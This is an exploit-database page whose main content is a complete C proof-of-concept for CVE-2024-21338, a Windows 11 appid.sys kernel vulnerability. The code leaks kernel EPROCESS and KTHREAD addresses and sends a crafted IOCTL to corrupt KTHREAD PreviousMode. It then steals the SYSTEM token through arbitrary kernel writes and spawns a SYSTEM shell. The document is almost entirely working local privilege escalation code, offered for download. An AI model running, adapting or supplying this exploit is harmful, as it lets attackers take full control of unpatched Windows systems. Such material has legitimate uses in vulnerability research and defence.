Exploit database

GH-395a33d9660c945137c36f1d65b4e6fc

wusijie/cve-2024-21338-1

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21338

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
wusijie/cve-2024-21338-1Revision 005f2eb1b291

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2024-21338.c

C · 11,907 bytes
/* 
				PoC Info
-------------------------------------------
Vulnerability:	CVE-2024-21338
Environment:	Windows 11 22h2 Build 22621
-------------------------------------------
*/

#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>

#pragma comment(lib, "ntdllp.lib")

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_SMART_HASH_IMAGE_FILE		0x22A018
#define EPROCESS_TOKEN_OFFSET			0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET	0x232

#define SystemHandleInformation			0x10
#define SystemHandleInformationSize		0x400000 
#define offset_PopEtDataSectionCopyData 0x7ACEA8


enum _MODE
{
    KernelMode = 0,
	UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

// 
// Main exploit structures definition
//
typedef struct _VULN_CALLBACK_STRUCT
{
	PVOID vuln_callback_addr;
}VULN_CALLBACK_STRUCT;

typedef struct  _SMART_HASH_IMAGE_FILE
{
	int64_t field0;
	unsigned __int64 dummy_f_obj;	// should containt a valid FILE_OBJECT pointer to avoid BSOD 
	VULN_CALLBACK_STRUCT *ptr;		// points to the struct which contain malicious callback function pointer
	void *prev_mode;				// KTHREAD->PreviousMode address
}SMART_HASH_IMAGE_FILE;

//
// SC Manager helper functions
// 
SC_HANDLE GetSCM()
{
	SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (!svcManager)
	{
		printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
		return FALSE;
	}

	else
	{
		printf("[+] OpenSCManagerW handle value opened!\n");
		return svcManager;
	}
}

void AppIDStart()
{
	printf("[!] Starting AppIDSvc\n");
	system("sc start AppIDSvc");
}

SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
	SC_HANDLE sh = 0;
	BOOL success = FALSE;
	SC_HANDLE scm = GetSCM();
	if (scm)
	{
		sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
		if (sh == NULL)
		{
			printf("[-] OpenServiceW failed with error %d\n", GetLastError());
			return 0;
		}

		else return sh;
	}

	return 0;
}

DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
	SERVICE_STATUS_PROCESS ssp = { 0 };
	DWORD dwBytesNeeded = 0;
	SC_HANDLE ServiceHandle = 0;

	ServiceHandle = GetServiceHandleByName(ServiceName);

	if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
	{
		printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
		CloseServiceHandle(ServiceHandle);
	}

	else
	{
		printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
		return ssp.dwProcessId;
	}

	return 0;
}

DWORD GetFirstThreadID(DWORD PID)
{
	THREADENTRY32 te32 = { 0 };
	HANDLE hThreadSnap;

	hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	te32.dwSize = sizeof(THREADENTRY32);
	Thread32First(hThreadSnap, &te32);

	do
    {
        if (te32.th32OwnerProcessID == PID)
        {
			printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
            return te32.th32ThreadID;
        }
    } while (Thread32Next(hThreadSnap, &te32));

    return ERROR_FILE_NOT_FOUND;
}


BOOL SetPrivilege(
    HANDLE hToken,          // access token handle
    LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
    BOOL bEnablePrivilege   // to enable or disable privilege
    ) 
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue( 
            NULL,            // lookup privilege on local system
            lpszPrivilege,   // privilege to lookup 
            &luid ) )        // receives LUID of privilege
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    if (bEnablePrivilege)
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.

    if ( !AdjustTokenPrivileges(
           hToken, 
           FALSE, 
           &tp, 
           sizeof(TOKEN_PRIVILEGES), 
           (PTOKEN_PRIVILEGES) NULL, 
           (PDWORD) NULL) )
    { 
          printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 
          return FALSE; 
    } 

    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

    {
          printf("The token does not have the specified privilege. \n");
          return FALSE;
    } 

    return TRUE;
}

BOOL EnableDebugPrivilege()
{
	HANDLE tempTokenHandle;
	HANDLE currentToken;
	BOOL success = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &tempTokenHandle);
	if (!success)
	{
		printf("[-] Failed to open current process token\n");
		return FALSE;
	}

	currentToken = tempTokenHandle;
	success = SetPrivilege(currentToken, L"SeDebugPrivilege", TRUE);

	if (!success)
	{
		printf("[-] Failed to set SeDebugPrivilege\n");
		return FALSE;
	}

	return TRUE;
}


//
// Get the kernel object pointer for the specific process by it's handle
// 
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int32_t Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
	while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		}

		else
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
		}
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
	{
		if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
			Ret = 0;
			break;
		}
	}

	done:
	if (pHandleInfo != NULL)
	{
		HeapFree(GetProcessHeap, 0, pHandleInfo);
	}
	return Ret;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
	NTSTATUS Status = 0;
	size_t cbNumOfBytesWrite = 0;

	Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status)) 
    {
		return -1;
	}
	return Status;
}

uint64_t GetNtoskrnlBaseAddress() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
        printf("[-] Error enumerating device drivers. Error code: %d\n", GetLastError());
        return NULL;
    }
	// ntoskrnl.exe address indexed by 0
	return drivers[0];
}

int main()
{
	DWORD dwLocalSvcId = 0;
	DWORD tid = 0;
	HANDLE local_service_thread;
	BOOL success = FALSE;
	HANDLE hToken;
	HANDLE hproc;
	HANDLE hLocalSvc = 0;
	SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
	HANDLE hAppID;

    //
    // Initialize kernel objects to leak
    // 
	uint64_t Sysproc = 0;
	uint64_t Curproc = 0;
	uint64_t Curthread = 0;
	uint64_t Token = 0;
    
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    HANDLE hProc = NULL;
	uint32_t Ret = 0;

	//
	// Start the vulnerable service, because it's off by default
	//
	AppIDStart();

	//
	// It could be any service which is running at LOCAL_SERVICE privileges
	// except services running as PPL
	//
	dwLocalSvcId = GetServiceProcessID(L"BthAvctpSvc");
	tid = GetFirstThreadID(dwLocalSvcId);
	success = EnableDebugPrivilege();
	if (!success)
	{
		printf("[-] EnableDebugPrivilege failed\n");
	}

	hLocalSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwLocalSvcId);
	if (!hLocalSvc)
	{
		printf("[-] Couldn't get a handle to the LOCAL_SERVICE process with error %d\n", GetLastError());
	}

	local_service_thread = OpenThread(THREAD_DIRECT_IMPERSONATION, FALSE, tid);

	if (local_service_thread == NULL)
	{
		printf("[-] OpenThread failed with error %d\n", GetLastError());
		
	}

	else 
	{
		printf("[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process\n");
	}

	sqos.Length = sizeof(sqos);
	sqos.ImpersonationLevel = SecurityImpersonation;
	//__debugbreak();
	NTSTATUS  status = NtImpersonateThread(GetCurrentThread(), local_service_thread, &sqos);

	if (!NT_SUCCESS(status))
	{
		printf("[-] NtImpersonateThread failed with status = %x\n", status);
	}

	hAppID = CreateFileW(L"\\\\.\\GLOBALROOT\\Device\\AppID", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL);
	if (hAppID == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateFileW failed with error %d\n", GetLastError());
	}

	//
	// Leak System _EPROCESS kernel address
	//
	Ret = GetObjPtr(&Sysproc, 4, 4);
	if (Ret != NULL)
	{
		return Ret;
	}
	printf("[+] System EPROCESS address: %llx\n", Sysproc);

	//
	// Terminate the impersonation because otherwise we can't get kernel object addresses for some reason
	//
	RevertToSelf();

	//
	// Leak Current _KTHREAD kernel address
	//
	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			goto done;
		}
		printf("[+] Current KTHREAD address: %llx\n", Curthread);
	}

	//
	// Leak Current _EPROCESS kernel address
	//
	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			goto done;
		}
		printf("[+] Current EPROCESS address: %llx\n", Curproc);
	}

	//
	// Leak dummy file object to avoid BSOD
	//
	HANDLE hDummyFile = 0;
	uint64_t DummyFile = 0;

	hDummyFile = CreateFileW(L"C:\\Users\\shit.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	if (hDummyFile != NULL)
	{
		Ret = GetObjPtr(&DummyFile, GetCurrentProcessId(), hDummyFile);
		if (Ret != NULL)
		{
			goto done;
		}
		printf("[+] Dummy FILE_OBJECT address: %llx\n", DummyFile);
	}

	//
	// Initialize the payload buffer 
	//
	SMART_HASH_IMAGE_FILE shif = { 0 };
	DWORD inbufsize = sizeof(SMART_HASH_IMAGE_FILE);
	uint64_t ntoskrnl_base = GetNtoskrnlBaseAddress();

	shif.ptr = malloc(sizeof(VULN_CALLBACK_STRUCT));
	shif.field0 = 0;
	shif.ptr->vuln_callback_addr = ntoskrnl_base + offset_PopEtDataSectionCopyData;
	shif.dummy_f_obj = DummyFile;
	shif.prev_mode = Curthread + KTHREAD_PREVIOUS_MODE_OFFSET;

	//
	// Sending the payload to the appid.sys vulnerable AipSmartHashImageFile handler
	// to trigger the bug.
	//
	success = DeviceIoControl(hAppID, IOCTL_SMART_HASH_IMAGE_FILE, &shif, inbufsize, NULL, NULL, NULL, NULL);

	if (success == FALSE)
	{
		printf("[-] DeviceIoControl failed with error %x\n", GetLastError());
	}

	printf("[!] Leveraging DKOM to achieve LPE\n");
	printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

	uint8_t mode = UserMode;

	Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

	//
	// Restoring KTHREAD->PreviousMode
	//
	Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

	//
	// Spawn the shell with "nt authority\system"
	//
	system("cmd.exe");

done:

    if (hCurproc != NULL)
    {
        CloseHandle(hCurproc);
    }

    if (hThread != NULL)
    {
        CloseHandle(hThread);
    }

    return 0;
}